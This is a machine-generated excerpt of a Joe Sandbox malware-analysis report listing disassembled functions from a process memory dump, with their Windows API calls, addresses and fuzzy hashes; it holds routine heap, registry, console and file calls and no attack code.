Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

Part of subcall function 001A72EF: ApiSetQueryApiSetPresence.API-MS-WIN-CORE-APIQUERY-L1-1-0(00191028,?,?,?,001AF12E,001BCA50,00000018,001A1E7C,00000000,00000000,001AACE0,00000000,00000000,?,00000104,?), ref: 001A7314

MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,00000000,000000FF,00000000,00000000,?,?,001ABFD6), ref: 001B646C
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,00000000,000000FF,00000000,00000000,?,?,001ABFD6), ref: 001B6474
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,00000000,000000FF,00000000,00000000,?,?,001ABFD6), ref: 001B64B6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorHeapMode$AllocByteCharMultiPresenceProcessQueryWidelongjmp
String ID:
API String ID: 129137517-0
Opcode ID: 540e17f8ededeb92b8751c102f8713e222b7ef2e7fdba453ee77f6ae435078b1
Instruction ID: 6dbec62caa868f1ea75442f7d125b32a9cc028febf0e35c8ae2045051d3098c1
Opcode Fuzzy Hash: 540e17f8ededeb92b8751c102f8713e222b7ef2e7fdba453ee77f6ae435078b1
Instruction Fuzzy Hash: 002157762026016BCB24BF789C559BF3BAADFE53107084629F902C7385EFB89D45C2A0

Function 001B62B3 Relevance: 6.1, APIs: 4, Instructions: 81registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000001,?,001BCD20,0000001C,001B58DF), ref: 001B62E6
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?,001BCD20,0000001C,001B58DF), ref: 001B6301
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,?,00000000,?), ref: 001B6340
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001B635D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: QueryValue$ErrorLastOpen
String ID:
API String ID: 4270309053-0
Opcode ID: a23f13e170dee7dcbf73b8a8e2d01a89f2007ea2fd9ebe19a5c61ff1b7463768
Instruction ID: 9f792ea56f60114add34af54883599d8fd83bc16fea84dc3393887b8423c8eb6
Opcode Fuzzy Hash: a23f13e170dee7dcbf73b8a8e2d01a89f2007ea2fd9ebe19a5c61ff1b7463768
Instruction Fuzzy Hash: 33212AB1D01219AFEB109F999C819EEBBFCFB68750F54416AE905B3250D7758D00CBA0

Function 001B9FF8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BA034

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00450052,-00000209,00000000,?,-00000209,0020005D,0019234C,0020005D), ref: 001BA078
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001BA0AA
??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,0020005D,0019234C,0020005D), ref: 001BA0C2

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: 847ceae0350eb0496a40a3c937951ff681deb3434803a18536a0bcdb97172826
Instruction ID: 6eed45c912936c18e204108d0b559e2ab82d8ab8df717f57a3860fe22e715f50
Opcode Fuzzy Hash: 847ceae0350eb0496a40a3c937951ff681deb3434803a18536a0bcdb97172826
Instruction Fuzzy Hash: 6D216571A0121AABDB24DFA9DD899EFBBF8EF58304F4401AAF505D3141E734DE448A92

Function 001A2960 Relevance: 6.1, APIs: 4, Instructions: 76stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 001A2977
wcstol.MSVCRT ref: 001A2987
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?,?,0019E559,?,?,00000000,?), ref: 001A29FF
lstrcmpiW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(?,?,?,0019E559,?,?,00000000,?), ref: 001A2A09

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcstol$lstrcmplstrcmpi
String ID:
API String ID: 4273384694-0
Opcode ID: 67f8fa504604f084b8958b78a422776256563d9c34a39c53891182c5fe805d72
Instruction ID: 09f428f4ea1d5e4d4301addf92b1ab2aa7cc9ccd88174dfc38b081f2fe342817
Opcode Fuzzy Hash: 67f8fa504604f084b8958b78a422776256563d9c34a39c53891182c5fe805d72
Instruction Fuzzy Hash: C111D63A901536BF87255B7C8A0897BBB6CFF02758B560211E801D7950D775ED50E6E0

Function 001BC535 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BC56B

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001,-00000001,00000001,00000000,00000000), ref: 001BC5A5
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001BC5BD
??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,00000001,00000000,00000000), ref: 001BC5DA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: 31fe6db454935f7ea3f585c6832fa74b0c5ca7854c7eebbedb409940269169bd
Instruction ID: f949e50dbd71561a78aa60888f3c54c0c09fe04f3eb685288127fd8d65eb063f
Opcode Fuzzy Hash: 31fe6db454935f7ea3f585c6832fa74b0c5ca7854c7eebbedb409940269169bd
Instruction Fuzzy Hash: 11213072B012096BDF20DBA5DC89BEFBBFCEF44344F140569E505D3141E774EA848AA1

Function 001A4C40 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbfb7ac4dc2640e610864cff9c009f8d6934c226aff569e25a42d18fea585865
Instruction ID: c11aec9e24be745007f5f19b6953d5a56df016daf61a9a43ec7862e762534406
Opcode Fuzzy Hash: cbfb7ac4dc2640e610864cff9c009f8d6934c226aff569e25a42d18fea585865
Instruction Fuzzy Hash: B911E739202604ABDB269B649E99FEF7759EF89724F14411AF802C71D0DB70DE81C792

Function 001B9809 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001B9822
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001B92EA,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 001B982A
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B9841
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 001B986E

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 5666937bdc28407e44df74684e1587bc2567630e5b8da1fda0939ccd504f9d71
Instruction ID: 1bf6b3d96f262f52db57f78c5d86c86f41a0329389131fed14acecb5a5b95786
Opcode Fuzzy Hash: 5666937bdc28407e44df74684e1587bc2567630e5b8da1fda0939ccd504f9d71
Instruction Fuzzy Hash: CD11E731201208AFDF15AB71EC4AEFF3B59EF86B15F10402AF50586151DB74CC82CB61

Function 00197221 Relevance: 6.1, APIs: 4, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,001B9962,00000000,?,00000000,001ACF94,00000000,?), ref: 0019727F
RtlFreeHeap.NTDLL(00000000), ref: 00197286
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 001972AF
RtlFreeHeap.NTDLL(00000000), ref: 001972B6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 8b199f8ab3ebd53db5c904b020ec64389b5c8757d8cb0f55227f80dd8eacd576
Instruction ID: 24bef94575211d6d7bc9548839c37bb323771ff7d848ef03cef3b78c8f7b7285
Opcode Fuzzy Hash: 8b199f8ab3ebd53db5c904b020ec64389b5c8757d8cb0f55227f80dd8eacd576
Instruction Fuzzy Hash: 6E11E73162A2408BCF24AF79D805B367BA1EF96315F24484EF497CB6D1CB34D842D761

Function 001962C8 Relevance: 6.1, APIs: 4, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00000000,00000000,00196231,00000000,00000000,91B40133), ref: 0019630C
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00196313

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 7d646b57a7bb89f5f60f697193054a99d53d5c50a4dff434a1921396024fb826
Instruction ID: 62f69c5955f935ad432defab01f07c79675598903f6aee49093de8473be252dd
Opcode Fuzzy Hash: 7d646b57a7bb89f5f60f697193054a99d53d5c50a4dff434a1921396024fb826
Instruction Fuzzy Hash: ED11443670312197CE289B255824B3F771ABFC0B11F5A001AE80A9BA90CF229D43D6B2

Function 0019DD20 Relevance: 6.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00000000,0019BDB3,00000000,?), ref: 0019DD37
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0019DD3E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 0019DD53
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0019DD5A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 2a6c1424777bc3238b4d45fce3e892408b20db11850ed6413b1dc791061e3eb3
Instruction ID: 13ccb6b8e9f32b9ff3215516034f1484eee7ef257c71e5d83479bb4c3bf1cf4b
Opcode Fuzzy Hash: 2a6c1424777bc3238b4d45fce3e892408b20db11850ed6413b1dc791061e3eb3
Instruction Fuzzy Hash: D801B176202311ABCB219BA4FC88E9A77A9EF94756FA00422F50AC7490DB31DC84C7A1

Function 001B8496 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,?,?,?,?,?,?,?,?,?,00198A51), ref: 001B84B9
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00198A51), ref: 001B84C6
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00198A51), ref: 001B84EA
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00198A51), ref: 001B84F2

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: dbc89c114bcb4ff271fad94dddaf5fbe13bcc826b21b329df944d0dda4d8e010
Instruction ID: 58fee725351b02058619ee0b7ef8d36232f6c461039ee45830cb425b0928ebb9
Opcode Fuzzy Hash: dbc89c114bcb4ff271fad94dddaf5fbe13bcc826b21b329df944d0dda4d8e010
Instruction Fuzzy Hash: A8014F71A02119AF8B04EBB89C88AFFB7ECEF0E710B40012AF916E2150EB249D45C765

Function 001A5643 Relevance: 6.0, APIs: 4, Instructions: 46fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001A0060: wcschr.MSVCRT ref: 001A006C

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000000,0000000C,00000004,08000080,00000000,00000000,00000000), ref: 001A5678
_open_osfhandle.MSVCRT ref: 001A568C
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 001A56A2
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B122B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: 3ec231d5a865b92c1f46db19410dcb0bde65a6f803de861b19db9b9b9fbe2bdc
Instruction ID: 8a9f11fc5a8b1ad1ddba8919fa232819099e324bc9353f45ab89bb384ab01e77
Opcode Fuzzy Hash: 3ec231d5a865b92c1f46db19410dcb0bde65a6f803de861b19db9b9b9fbe2bdc
Instruction Fuzzy Hash: 94012675806210BFD7206BB89C4DB9E7BB9EB42734F614306F421E31E0DBB048858691

Function 001B24F6 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,001B22F8), ref: 001B2514
RtlFreeHeap.NTDLL(00000000,?,?), ref: 001B251B
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,001B22F8), ref: 001B2539
RtlFreeHeap.NTDLL(00000000), ref: 001B2540

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 1c36ac9ff0f335e64d0e5d602bea845a9b86a5fe8eb920d04c704bc89b44e9ec
Instruction ID: 07ada84e9fa8a1a84959a01d41520a34072b3a565b8dc5ce319deeed0d6ba035
Opcode Fuzzy Hash: 1c36ac9ff0f335e64d0e5d602bea845a9b86a5fe8eb920d04c704bc89b44e9ec
Instruction Fuzzy Hash: F9F06D72612211AFD724DFA1EC89BA6B7F8FF48312F50092EE141C6440E774E999CBA1

Function 00198B96 Relevance: 6.0, APIs: 4, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,0019885E), ref: 00198B9D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019885E), ref: 00198BA4

Part of subcall function 0019A9D4: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,0019A9C5), ref: 0019A9D8
Part of subcall function 0019A9D4: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 0019A9F3
Part of subcall function 0019A9D4: RtlAllocateHeap.NTDLL(00000000), ref: 0019A9FA
Part of subcall function 0019A9D4: memcpy.MSVCRT(00000000,00000000,00000000), ref: 0019AA09
Part of subcall function 0019A9D4: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 0019AA12

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?,0019885E), ref: 001AB5B5
RtlFreeHeap.NTDLL(00000000,?,0019885E), ref: 001AB5BC

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$Process$EnvironmentFreeStrings$AllocAllocatememcpy
String ID:
API String ID: 3480822025-0
Opcode ID: 0af6937ecf8c1481d034429fb96daa274f3fc9dd9d57c90f9e88839d2c320b2f
Instruction ID: 361359d721d6d0ea07f0e4bd4841fd127d33437eeaa27eecc1bdb19c4da59f51
Opcode Fuzzy Hash: 0af6937ecf8c1481d034429fb96daa274f3fc9dd9d57c90f9e88839d2c320b2f
Instruction Fuzzy Hash: 63E0487264B32167D620BBB47C0EB462B54AF45762F550412F685D91C0DF64C880C7A2

Function 001A6860 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 001A6F48: GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 001A6F4F

__set_app_type.MSVCRT ref: 001A6872
__p__fmode.MSVCRT ref: 001A6888
__p__commode.MSVCRT ref: 001A6896
__setusermatherr.MSVCRT ref: 001A68B7

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 736f72c4724c3b4c75ecb86d148e82ffc0d310d32b2e63ba69a7d12b48a880c7
Instruction ID: 41b1a2b1617ed9542f2245c1212d6ee82ed179508cbb5610282dc1aa252d03c6
Opcode Fuzzy Hash: 736f72c4724c3b4c75ecb86d148e82ffc0d310d32b2e63ba69a7d12b48a880c7
Instruction Fuzzy Hash: 65F01C3810A300DFC728AF30FC4A5483BE1BB16321B140B1AF462C2AF1DB7994C0CB12

Function 001B9F18 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001B9F24
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,001B449C,?,?,00000001,?), ref: 001B9F2C
_get_osfhandle.MSVCRT ref: 001B9F42
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,001B449C,?,?,00000001,?), ref: 001B9F4A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: 16da21608a40eebac0fda64e59f7e7a8c52dd3c30805f9d9a8e9d9e8a107db15
Instruction ID: e0a032cfd20c1937e6c78babc0925730889fba42991e4d9ab28a85637bb9d9c3
Opcode Fuzzy Hash: 16da21608a40eebac0fda64e59f7e7a8c52dd3c30805f9d9a8e9d9e8a107db15
Instruction Fuzzy Hash: 3CE04F71502205FFDB00DBB0ED0EAEA7B6CEF04324F544506F525D64D1DBB5E9409621

Function 00198235 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 0019824E
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00198256
_get_osfhandle.MSVCRT ref: 00198264
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0019826C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: ae3a610eff0a88ff9d4433902a89ec349ef11e38f753af6a04e10acd3afaf27c
Instruction ID: d0c0d12c4a6fb22df71f3e697abc328740527e809f02da74a1d3ec0859f7d377
Opcode Fuzzy Hash: ae3a610eff0a88ff9d4433902a89ec349ef11e38f753af6a04e10acd3afaf27c
Instruction Fuzzy Hash: 8AE0B6B1902200EFDB04DBA0FD5EE963F64FB08311B40410AF205C2DB0EBB5E8808F12

Function 001972C6 Relevance: 6.0, APIs: 4, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,0019729C), ref: 001972CF
